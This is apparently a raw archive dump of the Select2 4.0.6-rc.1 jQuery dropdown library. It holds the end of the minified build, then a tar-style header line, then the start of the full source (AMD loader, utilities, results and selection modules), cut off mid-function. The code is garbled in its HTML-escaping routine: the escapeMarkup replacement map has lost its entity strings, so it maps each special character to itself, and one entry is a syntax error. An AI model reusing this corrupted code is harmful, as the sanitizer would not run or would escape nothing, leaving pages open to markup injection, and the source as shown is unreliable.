d=["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"];this.$dropdown.on(d.join(" "),function(a){a.stopPropagation()})},a}),b.define("select2/selection/stopPropagation",[],function(){function a(){}return a.prototype.bind=function(a,b,c){a.call(this,b,c);var d=["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"];this.$selection.on(d.join(" "),function(a){a.stopPropagation()})},a}),function(c){"function"==typeof b.define&&b.define.amd?b.define("jquery-mousewheel",["jquery"],c):"object"==typeof exports?module.exports=c:c(a)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||n<f)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120==0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})}),b.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(a,b,c,d,e){if(null==a.fn.select2){var f=["open","close","destroy"];a.fn.select2=function(b){if("object"==typeof(b=b||{}))return this.each(function(){var d=a.extend(!0,{},b);new c(a(this),d)}),this;if("string"==typeof b){var d,g=Array.prototype.slice.call(arguments,1);return this.each(function(){var a=e.GetData(this,"select2");null==a&&window.console&&console.error&&console.error("The select2('"+b+"') method was called on an element that is not using Select2."),d=a[b].apply(a,g)}),a.inArray(b,f)>-1?this:d}throw new Error("Invalid arguments for Select2: "+b)}}return null==a.fn.select2.defaults&&(a.fn.select2.defaults=d),c}),{define:b.define,require:b.require}}(),c=b.require("jquery.select2");return a.fn.select2.amd=b,c});select2.full.js000064400000521250151701413610007410 0ustar00/*! * Select2 4.0.6-rc.1 * https://select2.github.io * * Released under the MIT license * https://github.com/select2/select2/blob/master/LICENSE.md */ ;(function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = function (root, jQuery) { if (jQuery === undefined) { // require('jQuery') returns a factory that requires window to // build a jQuery instance, we normalize how we use modules // that require this pattern but the window provided is a noop // if it's defined (how jquery works) if (typeof window !== 'undefined') { jQuery = require('jquery'); } else { jQuery = require('jquery')(root); } } factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } } (function (jQuery) { // This is needed so we can catch the AMD loader configuration and use it // The inner file should be wrapped (by `banner.start.js`) in a function that // returns the AMD loader references. var S2 =(function () { // Restore the Select2 AMD loader so it can be used // Needed mostly in the language files, where the loader is not inserted if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) { var S2 = jQuery.fn.select2.amd; } var S2;(function () { if (!S2 || !S2.requirejs) { if (!S2) { S2 = {}; } else { require = S2; } /** * @license almond 0.3.3 Copyright jQuery Foundation and other contributors. * Released under MIT license, http://github.com/requirejs/almond/LICENSE */ //Going sloppy to avoid 'use strict' string cost, but strict practices should //be followed. /*global setTimeout: false */ var requirejs, require, define; (function (undef) { var main, req, makeMap, handlers, defined = {}, waiting = {}, config = {}, defining = {}, hasOwn = Object.prototype.hasOwnProperty, aps = [].slice, jsSuffixRegExp = /\.js$/; function hasProp(obj, prop) { return hasOwn.call(obj, prop); } /** * Given a relative module name, like ./something, normalize it to * a real name that can be mapped to a path. * @param {String} name the relative name * @param {String} baseName a real name that the name arg is relative * to. * @returns {String} normalized name */ function normalize(name, baseName) { var nameParts, nameSegment, mapValue, foundMap, lastIndex, foundI, foundStarMap, starI, i, j, part, normalizedBaseParts, baseParts = baseName && baseName.split("/"), map = config.map, starMap = (map && map['*']) || {}; //Adjust any relative paths. if (name) { name = name.split('/'); lastIndex = name.length - 1; // If wanting node ID compatibility, strip .js from end // of IDs. Have to do this here, and not in nameToUrl // because node allows either .js or non .js to map // to same file. if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) { name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, ''); } // Starts with a '.' so need the baseName if (name[0].charAt(0) === '.' && baseParts) { //Convert baseName to array, and lop off the last part, //so that . matches that 'directory' and not name of the baseName's //module. For instance, baseName of 'one/two/three', maps to //'one/two/three.js', but we want the directory, 'one/two' for //this normalization. normalizedBaseParts = baseParts.slice(0, baseParts.length - 1); name = normalizedBaseParts.concat(name); } //start trimDots for (i = 0; i < name.length; i++) { part = name[i]; if (part === '.') { name.splice(i, 1); i -= 1; } else if (part === '..') { // If at the start, or previous value is still .., // keep them so that when converted to a path it may // still work when converted to a path, even though // as an ID it is less than ideal. In larger point // releases, may be better to just kick out an error. if (i === 0 || (i === 1 && name[2] === '..') || name[i - 1] === '..') { continue; } else if (i > 0) { name.splice(i - 1, 2); i -= 2; } } } //end trimDots name = name.join('/'); } //Apply map config if available. if ((baseParts || starMap) && map) { nameParts = name.split('/'); for (i = nameParts.length; i > 0; i -= 1) { nameSegment = nameParts.slice(0, i).join("/"); if (baseParts) { //Find the longest baseName segment match in the config. //So, do joins on the biggest to smallest lengths of baseParts. for (j = baseParts.length; j > 0; j -= 1) { mapValue = map[baseParts.slice(0, j).join('/')]; //baseName segment has config, find if it has one for //this name. if (mapValue) { mapValue = mapValue[nameSegment]; if (mapValue) { //Match, update name to the new value. foundMap = mapValue; foundI = i; break; } } } } if (foundMap) { break; } //Check for a star map match, but just hold on to it, //if there is a shorter segment match later in a matching //config, then favor over this star map. if (!foundStarMap && starMap && starMap[nameSegment]) { foundStarMap = starMap[nameSegment]; starI = i; } } if (!foundMap && foundStarMap) { foundMap = foundStarMap; foundI = starI; } if (foundMap) { nameParts.splice(0, foundI, foundMap); name = nameParts.join('/'); } } return name; } function makeRequire(relName, forceSync) { return function () { //A version of a require function that passes a moduleName //value for items that may need to //look up paths relative to the moduleName var args = aps.call(arguments, 0); //If first arg is not require('string'), and there is only //one arg, it is the array form without a callback. Insert //a null so that the following concat is correct. if (typeof args[0] !== 'string' && args.length === 1) { args.push(null); } return req.apply(undef, args.concat([relName, forceSync])); }; } function makeNormalize(relName) { return function (name) { return normalize(name, relName); }; } function makeLoad(depName) { return function (value) { defined[depName] = value; }; } function callDep(name) { if (hasProp(waiting, name)) { var args = waiting[name]; delete waiting[name]; defining[name] = true; main.apply(undef, args); } if (!hasProp(defined, name) && !hasProp(defining, name)) { throw new Error('No ' + name); } return defined[name]; } //Turns a plugin!resource to [plugin, resource] //with the plugin being undefined if the name //did not have a plugin prefix. function splitPrefix(name) { var prefix, index = name ? name.indexOf('!') : -1; if (index > -1) { prefix = name.substring(0, index); name = name.substring(index + 1, name.length); } return [prefix, name]; } //Creates a parts array for a relName where first part is plugin ID, //second part is resource ID. Assumes relName has already been normalized. function makeRelParts(relName) { return relName ? splitPrefix(relName) : []; } /** * Makes a name map, normalizing the name, and using a plugin * for normalization if necessary. Grabs a ref to plugin * too, as an optimization. */ makeMap = function (name, relParts) { var plugin, parts = splitPrefix(name), prefix = parts[0], relResourceName = relParts[1]; name = parts[1]; if (prefix) { prefix = normalize(prefix, relResourceName); plugin = callDep(prefix); } //Normalize according if (prefix) { if (plugin && plugin.normalize) { name = plugin.normalize(name, makeNormalize(relResourceName)); } else { name = normalize(name, relResourceName); } } else { name = normalize(name, relResourceName); parts = splitPrefix(name); prefix = parts[0]; name = parts[1]; if (prefix) { plugin = callDep(prefix); } } //Using ridiculous property names for space reasons return { f: prefix ? prefix + '!' + name : name, //fullName n: name, pr: prefix, p: plugin }; }; function makeConfig(name) { return function () { return (config && config.config && config.config[name]) || {}; }; } handlers = { require: function (name) { return makeRequire(name); }, exports: function (name) { var e = defined[name]; if (typeof e !== 'undefined') { return e; } else { return (defined[name] = {}); } }, module: function (name) { return { id: name, uri: '', exports: defined[name], config: makeConfig(name) }; } }; main = function (name, deps, callback, relName) { var cjsModule, depName, ret, map, i, relParts, args = [], callbackType = typeof callback, usingExports; //Use name if no relName relName = relName || name; relParts = makeRelParts(relName); //Call the callback to define the module, if necessary. if (callbackType === 'undefined' || callbackType === 'function') { //Pull out the defined dependencies and pass the ordered //values to the callback. //Default to [require, exports, module] if no deps deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps; for (i = 0; i < deps.length; i += 1) { map = makeMap(deps[i], relParts); depName = map.f; //Fast path CommonJS standard dependencies. if (depName === "require") { args[i] = handlers.require(name); } else if (depName === "exports") { //CommonJS module spec 1.1 args[i] = handlers.exports(name); usingExports = true; } else if (depName === "module") { //CommonJS module spec 1.1 cjsModule = args[i] = handlers.module(name); } else if (hasProp(defined, depName) || hasProp(waiting, depName) || hasProp(defining, depName)) { args[i] = callDep(depName); } else if (map.p) { map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {}); args[i] = defined[depName]; } else { throw new Error(name + ' missing ' + depName); } } ret = callback ? callback.apply(defined[name], args) : undefined; if (name) { //If setting exports via "module" is in play, //favor that over return value and exports. After that, //favor a non-undefined return value over exports use. if (cjsModule && cjsModule.exports !== undef && cjsModule.exports !== defined[name]) { defined[name] = cjsModule.exports; } else if (ret !== undef || !usingExports) { //Use the return value from the function. defined[name] = ret; } } } else if (name) { //May just be an object definition for the module. Only //worry about defining if have a module name. defined[name] = callback; } }; requirejs = require = req = function (deps, callback, relName, forceSync, alt) { if (typeof deps === "string") { if (handlers[deps]) { //callback in this case is really relName return handlers[deps](callback); } //Just return the module wanted. In this scenario, the //deps arg is the module name, and second arg (if passed) //is just the relName. //Normalize module name, if it contains . or .. return callDep(makeMap(deps, makeRelParts(callback)).f); } else if (!deps.splice) { //deps is a config object, not an array. config = deps; if (config.deps) { req(config.deps, config.callback); } if (!callback) { return; } if (callback.splice) { //callback is an array, which means it is a dependency list. //Adjust args if there are dependencies deps = callback; callback = relName; relName = null; } else { deps = undef; } } //Support require(['a']) callback = callback || function () {}; //If relName is a function, it is an errback handler, //so remove it. if (typeof relName === 'function') { relName = forceSync; forceSync = alt; } //Simulate async callback; if (forceSync) { main(undef, deps, callback, relName); } else { //Using a non-zero value because of concern for what old browsers //do, and latest browsers "upgrade" to 4 if lower value is used: //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout: //If want a value immediately, use require('id') instead -- something //that works in almond on the global level, but not guaranteed and //unlikely to work in other AMD implementations. setTimeout(function () { main(undef, deps, callback, relName); }, 4); } return req; }; /** * Just drops the config on the floor, but returns req in case * the config return value is used. */ req.config = function (cfg) { return req(cfg); }; /** * Expose module registry for debugging and tooling */ requirejs._defined = defined; define = function (name, deps, callback) { if (typeof name !== 'string') { throw new Error('See almond README: incorrect module build, no module name'); } //This module may not have dependencies if (!deps.splice) { //deps is not an array, so probably means //an object literal or factory function for //the value. Adjust args. callback = deps; deps = []; } if (!hasProp(defined, name) && !hasProp(waiting, name)) { waiting[name] = [name, deps, callback]; } }; define.amd = { jQuery: true }; }()); S2.requirejs = requirejs;S2.require = require;S2.define = define; } }()); S2.define("almond", function(){}); /* global jQuery:false, $:false */ S2.define('jquery',[],function () { var _$ = jQuery || $; if (_$ == null && console && console.error) { console.error( 'Select2: An instance of jQuery or a jQuery-compatible library was not ' + 'found. Make sure that you are including jQuery before Select2 on your ' + 'web page.' ); } return _$; }); S2.define('select2/utils',[ 'jquery' ], function ($) { var Utils = {}; Utils.Extend = function (ChildClass, SuperClass) { var __hasProp = {}.hasOwnProperty; function BaseConstructor () { this.constructor = ChildClass; } for (var key in SuperClass) { if (__hasProp.call(SuperClass, key)) { ChildClass[key] = SuperClass[key]; } } BaseConstructor.prototype = SuperClass.prototype; ChildClass.prototype = new BaseConstructor(); ChildClass.__super__ = SuperClass.prototype; return ChildClass; }; function getMethods (theClass) { var proto = theClass.prototype; var methods = []; for (var methodName in proto) { var m = proto[methodName]; if (typeof m !== 'function') { continue; } if (methodName === 'constructor') { continue; } methods.push(methodName); } return methods; } Utils.Decorate = function (SuperClass, DecoratorClass) { var decoratedMethods = getMethods(DecoratorClass); var superMethods = getMethods(SuperClass); function DecoratedClass () { var unshift = Array.prototype.unshift; var argCount = DecoratorClass.prototype.constructor.length; var calledConstructor = SuperClass.prototype.constructor; if (argCount > 0) { unshift.call(arguments, SuperClass.prototype.constructor); calledConstructor = DecoratorClass.prototype.constructor; } calledConstructor.apply(this, arguments); } DecoratorClass.displayName = SuperClass.displayName; function ctr () { this.constructor = DecoratedClass; } DecoratedClass.prototype = new ctr(); for (var m = 0; m < superMethods.length; m++) { var superMethod = superMethods[m]; DecoratedClass.prototype[superMethod] = SuperClass.prototype[superMethod]; } var calledMethod = function (methodName) { // Stub out the original method if it's not decorating an actual method var originalMethod = function () {}; if (methodName in DecoratedClass.prototype) { originalMethod = DecoratedClass.prototype[methodName]; } var decoratedMethod = DecoratorClass.prototype[methodName]; return function () { var unshift = Array.prototype.unshift; unshift.call(arguments, originalMethod); return decoratedMethod.apply(this, arguments); }; }; for (var d = 0; d < decoratedMethods.length; d++) { var decoratedMethod = decoratedMethods[d]; DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod); } return DecoratedClass; }; var Observable = function () { this.listeners = {}; }; Observable.prototype.on = function (event, callback) { this.listeners = this.listeners || {}; if (event in this.listeners) { this.listeners[event].push(callback); } else { this.listeners[event] = [callback]; } }; Observable.prototype.trigger = function (event) { var slice = Array.prototype.slice; var params = slice.call(arguments, 1); this.listeners = this.listeners || {}; // Params should always come in as an array if (params == null) { params = []; } // If there are no arguments to the event, use a temporary object if (params.length === 0) { params.push({}); } // Set the `_type` of the first object to the event params[0]._type = event; if (event in this.listeners) { this.invoke(this.listeners[event], slice.call(arguments, 1)); } if ('*' in this.listeners) { this.invoke(this.listeners['*'], arguments); } }; Observable.prototype.invoke = function (listeners, params) { for (var i = 0, len = listeners.length; i < len; i++) { listeners[i].apply(this, params); } }; Utils.Observable = Observable; Utils.generateChars = function (length) { var chars = ''; for (var i = 0; i < length; i++) { var randomChar = Math.floor(Math.random() * 36); chars += randomChar.toString(36); } return chars; }; Utils.bind = function (func, context) { return function () { func.apply(context, arguments); }; }; Utils._convertData = function (data) { for (var originalKey in data) { var keys = originalKey.split('-'); var dataLevel = data; if (keys.length === 1) { continue; } for (var k = 0; k < keys.length; k++) { var key = keys[k]; // Lowercase the first letter // By default, dash-separated becomes camelCase key = key.substring(0, 1).toLowerCase() + key.substring(1); if (!(key in dataLevel)) { dataLevel[key] = {}; } if (k == keys.length - 1) { dataLevel[key] = data[originalKey]; } dataLevel = dataLevel[key]; } delete data[originalKey]; } return data; }; Utils.hasScroll = function (index, el) { // Adapted from the function created by @ShadowScripter // and adapted by @BillBarry on the Stack Exchange Code Review website. // The original code can be found at // http://codereview.stackexchange.com/q/13338 // and was designed to be used with the Sizzle selector engine. var $el = $(el); var overflowX = el.style.overflowX; var overflowY = el.style.overflowY; //Check both x and y declarations if (overflowX === overflowY && (overflowY === 'hidden' || overflowY === 'visible')) { return false; } if (overflowX === 'scroll' || overflowY === 'scroll') { return true; } return ($el.innerHeight() < el.scrollHeight || $el.innerWidth() < el.scrollWidth); }; Utils.escapeMarkup = function (markup) { var replaceMap = { '\\': '\', '&': '&', '<': '<', '>': '>', '"': '"', '\'': ''', '/': '/' }; // Do not try to escape the markup if it's not a string if (typeof markup !== 'string') { return markup; } return String(markup).replace(/[&<>"'\/\\]/g, function (match) { return replaceMap[match]; }); }; // Append an array of jQuery nodes to a given element. Utils.appendMany = function ($element, $nodes) { // jQuery 1.7.x does not support $.fn.append() with an array // Fall back to a jQuery object collection using $.fn.add() if ($.fn.jquery.substr(0, 3) === '1.7') { var $jqNodes = $(); $.map($nodes, function (node) { $jqNodes = $jqNodes.add(node); }); $nodes = $jqNodes; } $element.append($nodes); }; // Cache objects in Utils.__cache instead of $.data (see #4346) Utils.__cache = {}; var id = 0; Utils.GetUniqueElementId = function (element) { // Get a unique element Id. If element has no id, // creates a new unique number, stores it in the id // attribute and returns the new id. // If an id already exists, it simply returns it. var select2Id = element.getAttribute('data-select2-id'); if (select2Id == null) { // If element has id, use it. if (element.id) { select2Id = element.id; element.setAttribute('data-select2-id', select2Id); } else { element.setAttribute('data-select2-id', ++id); select2Id = id.toString(); } } return select2Id; }; Utils.StoreData = function (element, name, value) { // Stores an item in the cache for a specified element. // name is the cache key. var id = Utils.GetUniqueElementId(element); if (!Utils.__cache[id]) { Utils.__cache[id] = {}; } Utils.__cache[id][name] = value; }; Utils.GetData = function (element, name) { // Retrieves a value from the cache by its key (name) // name is optional. If no name specified, return // all cache items for the specified element. // and for a specified element. var id = Utils.GetUniqueElementId(element); if (name) { if (Utils.__cache[id]) { return Utils.__cache[id][name] != null ? Utils.__cache[id][name]: $(element).data(name); // Fallback to HTML5 data attribs. } return $(element).data(name); // Fallback to HTML5 data attribs. } else { return Utils.__cache[id]; } }; Utils.RemoveData = function (element) { // Removes all cached items for a specified element. var id = Utils.GetUniqueElementId(element); if (Utils.__cache[id] != null) { delete Utils.__cache[id]; } }; return Utils; }); S2.define('select2/results',[ 'jquery', './utils' ], function ($, Utils) { function Results ($element, options, dataAdapter) { this.$element = $element; this.data = dataAdapter; this.options = options; Results.__super__.constructor.call(this); } Utils.Extend(Results, Utils.Observable); Results.prototype.render = function () { var $results = $( '<ul class="select2-results__options" role="tree"></ul>' ); if (this.options.get('multiple')) { $results.attr('aria-multiselectable', 'true'); } this.$results = $results; return $results; }; Results.prototype.clear = function () { this.$results.empty(); }; Results.prototype.displayMessage = function (params) { var escapeMarkup = this.options.get('escapeMarkup'); this.clear(); this.hideLoading(); var $message = $( '<li role="treeitem" aria-live="assertive"' + ' class="select2-results__option"></li>' ); var message = this.options.get('translations').get(params.message); $message.append( escapeMarkup( message(params.args) ) ); $message[0].className += ' select2-results__message'; this.$results.append($message); }; Results.prototype.hideMessages = function () { this.$results.find('.select2-results__message').remove(); }; Results.prototype.append = function (data) { this.hideLoading(); var $options = []; if (data.results == null || data.results.length === 0) { if (this.$results.children().length === 0) { this.trigger('results:message', { message: 'noResults' }); } return; } data.results = this.sort(data.results); for (var d = 0; d < data.results.length; d++) { var item = data.results[d]; var $option = this.option(item); $options.push($option); } this.$results.append($options); }; Results.prototype.position = function ($results, $dropdown) { var $resultsContainer = $dropdown.find('.select2-results'); $resultsContainer.append($results); }; Results.prototype.sort = function (data) { var sorter = this.options.get('sorter'); return sorter(data); }; Results.prototype.highlightFirstItem = function () { var $options = this.$results .find('.select2-results__option[aria-selected]'); var $selected = $options.filter('[aria-selected=true]'); // Check if there are any selected options if ($selected.length > 0) { // If there are selected options, highlight the first $selected.first().trigger('mouseenter'); } else { // If there are no selected options, highlight the first option // in the dropdown $options.first().trigger('mouseenter'); } this.ensureHighlightVisible(); }; Results.prototype.setClasses = function () { var self = this; this.data.current(function (selected) { var selectedIds = $.map(selected, function (s) { return s.id.toString(); }); var $options = self.$results .find('.select2-results__option[aria-selected]'); $options.each(function () { var $option = $(this); var item = Utils.GetData(this, 'data'); // id needs to be converted to a string when comparing var id = '' + item.id; if ((item.element != null && item.element.selected) || (item.element == null && $.inArray(id, selectedIds) > -1)) { $option.attr('aria-selected', 'true'); } else { $option.attr('aria-selected', 'false'); } }); }); }; Results.prototype.showLoading = function (params) { this.hideLoading(); var loadingMore = this.options.get('translations').get('searching'); var loading = { disabled: true, loading: true, text: loadingMore(params) }; var $loading = this.option(loading); $loading.className += ' loading-results'; this.$results.prepend($loading); }; Results.prototype.hideLoading = function () { this.$results.find('.loading-results').remove(); }; Results.prototype.option = function (data) { var option = document.createElement('li'); option.className = 'select2-results__option'; var attrs = { 'role': 'treeitem', 'aria-selected': 'false' }; if (data.disabled) { delete attrs['aria-selected']; attrs['aria-disabled'] = 'true'; } if (data.id == null) { delete attrs['aria-selected']; } if (data._resultId != null) { option.id = data._resultId; } if (data.title) { option.title = data.title; } if (data.children) { attrs.role = 'group'; attrs['aria-label'] = data.text; delete attrs['aria-selected']; } for (var attr in attrs) { var val = attrs[attr]; option.setAttribute(attr, val); } if (data.children) { var $option = $(option); var label = document.createElement('strong'); label.className = 'select2-results__group'; var $label = $(label); this.template(data, label); var $children = []; for (var c = 0; c < data.children.length; c++) { var child = data.children[c]; var $child = this.option(child); $children.push($child); } var $childrenContainer = $('<ul></ul>', { 'class': 'select2-results__options select2-results__options--nested' }); $childrenContainer.append($children); $option.append(label); $option.append($childrenContainer); } else { this.template(data, option); } Utils.StoreData(option, 'data', data); return option; }; Results.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-results'; this.$results.attr('id', id); container.on('results:all', function (params) { self.clear(); self.append(params.data); if (container.isOpen()) { self.setClasses(); self.highlightFirstItem(); } }); container.on('results:append', function (params) { self.append(params.data); if (container.isOpen()) { self.setClasses(); } }); container.on('query', function (params) { self.hideMessages(); self.showLoading(params); }); container.on('select', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('unselect', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('open', function () { // When the dropdown is open, aria-expended="true" self.$results.attr('aria-expanded', 'true'); self.$results.attr('aria-hidden', 'false'); self.setClasses(); self.ensureHighlightVisible(); }); container.on('close', function () { // When the dropdown is closed, aria-expended="false" self.$results.attr('aria-expanded', 'false'); self.$results.attr('aria-hidden', 'true'); self.$results.removeAttr('aria-activedescendant'); }); container.on('results:toggle', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } $highlighted.trigger('mouseup'); }); container.on('results:select', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } var data = Utils.GetData($highlighted[0], 'data'); if ($highlighted.attr('aria-selected') == 'true') { self.trigger('close', {}); } else { self.trigger('select', { data: data }); } }); container.on('results:previous', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); // If we are already at te top, don't move further // If no options, currentIndex will be -1 if (currentIndex <= 0) { return; } var nextIndex = currentIndex - 1; // If none are highlighted, highlight the first if ($highlighted.length === 0) { nextIndex = 0; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top; var nextTop = $next.offset().top; var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset); if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextTop - currentOffset < 0) { self.$results.scrollTop(nextOffset); } }); container.on('results:next', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var nextIndex = currentIndex + 1; // If we are at the last option, stay there if (nextIndex >= $options.length) { return; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var nextBottom = $next.offset().top + $next.outerHeight(false); var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset; if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextBottom > currentOffset) { self.$results.scrollTop(nextOffset); } }); container.on('results:focus', function (params) { params.element.addClass('select2-results__option--highlighted'); }); container.on('results:message', function (params) { self.displayMessage(params); }); if ($.fn.mousewheel) { this.$results.on('mousewheel', function (e) { var top = self.$results.scrollTop(); var bottom = self.$results.get(0).scrollHeight - top + e.deltaY; var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0; var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height(); if (isAtTop) { self.$results.scrollTop(0); e.preventDefault(); e.stopPropagation(); } else if (isAtBottom) { self.$results.scrollTop( self.$results.get(0).scrollHeight - self.$results.height() ); e.preventDefault(); e.stopPropagation(); } }); } this.$results.on('mouseup', '.select2-results__option[aria-selected]', function (evt) { var $this = $(this); var data = Utils.GetData(this, 'data'); if ($this.attr('aria-selected') === 'true') { if (self.options.get('multiple')) { self.trigger('unselect', { originalEvent: evt, data: data }); } else { self.trigger('close', {}); } return; } self.trigger('select', { originalEvent: evt, data: data }); }); this.$results.on('mouseenter', '.select2-results__option[aria-selected]', function (evt) { var data = Utils.GetData(this, 'data'); self.getHighlightedResults() .removeClass('select2-results__option--highlighted'); self.trigger('results:focus', { data: data, element: $(this) }); }); }; Results.prototype.getHighlightedResults = function () { var $highlighted = this.$results .find('.select2-results__option--highlighted'); return $highlighted; }; Results.prototype.destroy = function () { this.$results.remove(); }; Results.prototype.ensureHighlightVisible = function () { var $highlighted = this.getHighlightedResults(); if ($highlighted.length === 0) { return; } var $options = this.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var currentOffset = this.$results.offset().top; var nextTop = $highlighted.offset().top; var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset); var offsetDelta = nextTop - currentOffset; nextOffset -= $highlighted.outerHeight(false) * 2; if (currentIndex <= 2) { this.$results.scrollTop(0); } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) { this.$results.scrollTop(nextOffset); } }; Results.prototype.template = function (result, container) { var template = this.options.get('templateResult'); var escapeMarkup = this.options.get('escapeMarkup'); var content = template(result, container); if (content == null) { container.style.display = 'none'; } else if (typeof content === 'string') { container.innerHTML = escapeMarkup(content); } else { $(container).append(content); } }; return Results; }); S2.define('select2/keys',[ ], function () { var KEYS = { BACKSPACE: 8, TAB: 9, ENTER: 13, SHIFT: 16, CTRL: 17, ALT: 18, ESC: 27, SPACE: 32, PAGE_UP: 33, PAGE_DOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40, DELETE: 46 }; return KEYS; }); S2.define('select2/selection/base',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function BaseSelection ($element, options) { this.$element = $element; this.options = options; BaseSelection.__super__.constructor.call(this); } Utils.Extend(BaseSelection, Utils.Observable); BaseSelection.prototype.render = function () { var $selection = $( '<span class="select2-selection" role="combobox" ' + ' aria-haspopup="true" aria-expanded="false">' + '</span>' ); this._tabindex = 0; if (Utils.GetData(this.$element[0], 'old-tabindex') != null) { this._tabindex = Utils.GetData(this.$element[0], 'old-tabindex'); } else if (this.$element.attr('tabindex') != null) { this._tabindex = this.$element.attr('tabindex'); } $selection.attr('title', this.$element.attr('title')); $selection.attr('tabindex', this._tabindex); this.$selection = $selection; return $selection; }; BaseSelection.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-container'; var resultsId = container.id + '-results'; this.container = container; this.$selection.on('focus', function (evt) { self.trigger('focus', evt); }); this.$selection.on('blur', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', function (evt) { self.trigger('keypress', evt); if (evt.which === KEYS.SPACE) { evt.preventDefault(); } }); container.on('results:focus', function (params) { self.$selection.attr('aria-activedescendant', params.data._resultId); }); container.on('selection:update', function (params) { self.update(params.data); }); container.on('open', function () { // When the dropdown is open, aria-expanded="true" self.$selection.attr('aria-expanded', 'true'); self.$selection.attr('aria-owns', resultsId); self._attachCloseHandler(container); }); container.on('close', function () { // When the dropdown is closed, aria-expanded="false" self.$selection.attr('aria-expanded', 'false'); self.$selection.removeAttr('aria-activedescendant'); self.$selection.removeAttr('aria-owns'); self.$selection.focus(); window.setTimeout(function () { self.$selection.focus(); }, 0); self._detachCloseHandler(container); }); container.on('enable', function () { self.$selection.attr('tabindex', self._tabindex); }); container.on('disable', function () { self.$selection.attr('tabindex', '-1'); 